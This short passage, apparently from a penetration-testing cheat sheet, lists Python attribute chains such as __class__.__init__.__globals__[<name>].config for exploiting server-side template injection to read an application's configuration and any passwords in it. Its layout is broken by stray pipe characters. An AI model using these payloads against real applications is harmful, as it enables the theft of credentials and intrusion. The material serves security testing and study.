|
|
|
||
|
|
## Class Methods
|
||
|
|
|
||
|
|
You can access the **methods** of a **class** using **\_\_dict\_\_.**
|
||
|
|
|
||
|

|
||
|
|
|
||
|
|
|
||

## Server Side Template Injection
|
||
|
|
|
||
|
|
Interesting functions to exploit this vulnerability
|
||
|
|
|
||
|
|
```text
|
||
|
|
__init__.__globals__
|
||
|
|
__class__.__init__.__globals__
|
||
|
|
```
|
||
|
|
|
||
|
|
Inside the response search for the application \(probably at the end?\)
|
||
|
|
|
||
|
|
Then **access the environment content** of the application where you will hopefully find **some passwords** of interesting information:
|
||
|
|
|
||
|
|
```text
|
||
|
|
__init__.__globals__[<name>].config
|
||
|
|
__init__.__globals__[<name>].__dict__
|
||
|
|
__init__.__globals__[<name>].__dict__.config
|
||
|
|
__class__.__init__.__globals__[<name>].config
|
||
|
|
__class__.__init__.__globals__[<name>].__dict__
|
||
|
|
__class__.__init__.__globals__[<name>].__dict__.config
|
||
|
|
```
